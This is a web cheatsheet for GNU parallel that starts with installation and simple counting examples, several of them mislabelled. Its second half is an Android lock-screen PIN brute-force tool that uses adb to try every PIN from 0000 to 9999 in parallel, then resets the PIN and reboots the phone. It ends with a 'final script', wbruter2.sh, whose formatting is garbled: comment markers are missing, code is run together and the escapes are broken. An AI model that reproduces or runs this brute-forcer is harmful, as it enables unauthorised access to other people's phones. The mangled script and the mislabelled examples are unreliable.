Skip to content

parallel | Cheatsheet

GNU parallel is a command-line driven utility for Linux and other Unix-like operating systems which allows the user to execute shell scripts or commands in parallel.

A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables.

A job can also be a command that reads from a pipe. GNU parallel can then split the input and pipe it into commands in parallel. GNU Parallel


Installation

wget http://ftpmirror.gnu.org/parallel/parallel-20160622.tar.bz2
bzip2 -dc parallel-20160622.tar.bz2 | tar xvf -
cd parallel-20160622
./configure --prefix=$HOME && make && make install

Run 10 jobs every second and count to 1000

for i in {1..1000}; do
        echo $i
        if ((i % 5 == 0)); then
                echo "Here is group part"
        fi
done | parallel -j 10 'echo {}'

Run 10 jobs and count to 10

NUM="10"
seq $NUM | parallel -n1 -P$NUM 'seq 100 | parallel -j10 echo {}'

Run 4 jobs in parallel every second

for i in {1..1000}; do
        echo $i
        if
                ((i % 5 == 0))
        then
                echo "Here is group part"
        fi
done | parallel -j 10 'echo {}'

Run 4 jobs in parallel in a slow example

for i in {1..1000}; do
        echo $i
        if ((i % 5 == 0)); then
                echo "Here is group part"
        fi
done | parallel -j 10 'echo {}'

A more advanced one of the above script

input_file="2"
lines_per_group=4

counter=0
group=""
while IFS= read -r line; do
  group+="$line"$'\n'
  counter=$((counter + 1))

  if ((counter % lines_per_group == 0)); then
    echo -n "$group" | parallel -j4 'echo {}'
    group=""
  fi
done <"$input_file"

# Kolla om det finns några rader kvar i slutet av filen
if [ -n "$group" ]; then
  echo -n "$group" | parallel -j4 'echo {}'
fi

Run 4 commands at the same time for every second

for i in {1..1000}; do
  echo $i
  if ((i % 5 == 0)); then
    sleep 1
  fi
done | parallel -j 10 'echo {}'

Do 4 job per second with GNU/Parallel

#!/usr/bin/env bash

# en: Function that executes the command for each PIN code
# sv: Funktion som utför kommandot för varje PIN-kod
process_pin() {
  pin=$1
  if adb shell cmd lock_settings verify --old "$pin" --user 0 2>&1 | grep -q "success" && adb logcat -d | grep -q "but token"; then
    printf "\nPIN Code Has Been Found: \e[1;32m%s\e[0m\n\n" "$pin"
    printf "Do you want to set a new PIN? "
    read -p "(y/N): " newpin
    case $newpin in
    y)
      read -p "Pin: " newpin2
      adb shell locksettings set-pin "$newpin2"
      printf "\nIt is required to restart your device after\n"
      printf "PIN code has been set after old pin was erased..\n\n"
      ;;
    N)
      printf "\nIt is required to restart your device after\n"
      printf "PIN code has been erased from your device..\n\n"
      ;;
    esac
    read -p "Restart device (y/N): " rebootornot
    case $rebootornot in
    y)
      adb shell reboot
      printf "\nRebooting device, use pin '%s' to unlock device..\n\n" "$newpin2"
      ;;
    N)
      printf "\nEnjoy!\n\n"
      exit 0
      ;;
    esac
    exit
  else
    printf "Wrong PIN: \e[1;31m%s\e[0m\n" "$pin"
  fi
}

export -f process_pin

# en: Run the command in parallel for each PIN
# sv: Köra kommandot parallellt för varje PIN-kod
parallel -j 4 --keep-order --timeout 1 --halt now,fail=1 'process_pin {} 2>/dev/null | grep -m1 "PIN Code Has Been Found"' ::: {0000..9999}

Here is the final script

!/usr/bin/env bash

Author....: wuseman wuseman@nr1.nu

Filename..: wbruter2.sh

Created...: 2023-05-24 (23:47:17)

Modified..: 2023-05-25 (01:25:35)

printf "%52s\n" | tr ' ' '-' echo -e "Bruteforce attack will be started within 2 seconds..\nPlease use (CTRL+C) to abort the attack at anytime.." printf "%52s\n" | tr ' ' '-' sleep 2

Flagga för att indikera om rätt pinkod har hittats

pin_found=0

Funktion som hanterar avslutning av loopen

finish() { if [[ $pin_found -eq 0 ]]; then echo -e "Pinkoden har inte hittats." fi exit 0 }

Ange att funktionen "finish" ska köras när skriptet avslutas eller avbryts

trap finish EXIT

Funktion som utför kommandot för varje PIN-kod

process_pin() { pin=\(1 if [[ "\)pin" == "1111" ]]; then pin_found=1 printf "\nPIN Code Has Been Found: \e[1;32m$pin\e[0m\n\n" printf "Do you want to set a new PIN " read -p "(y/N): " newpin case $newpin in y) read -p "Pin: " newpin2 adb shell locksettings set-pin \(newpin2 printf "\nIt is required to restart your device after\n" printf "PIN code has been set after old pin was erased..\n\n" ;; N) printf "\nIt is required to restart your device after\n" printf "PIN code has been erased from your device..\n\n" ;; esac read -p "restart device (y/N): " rebootornot case \(rebootornot in y) adb shell reboot printf "\nRebooting device, use pin '\)newpin2' for unlock device..\n\n" ;; N) printf "\nEnjoy!\n\n" ;; esac else printf "Wrong PIN: \e[1;31m\)pin\e[0m\n" fi finish() { if [[ $pin_found -eq 0 ]]; then echo -e "Pinkoden har inte hittats." fi exit 0 } }

export -f process_pin

Köra kommandot parallellt för varje PIN-kod

seq -w 0000 9999 | parallel -j 4 --keep-order --halt now,fail=1 process_pin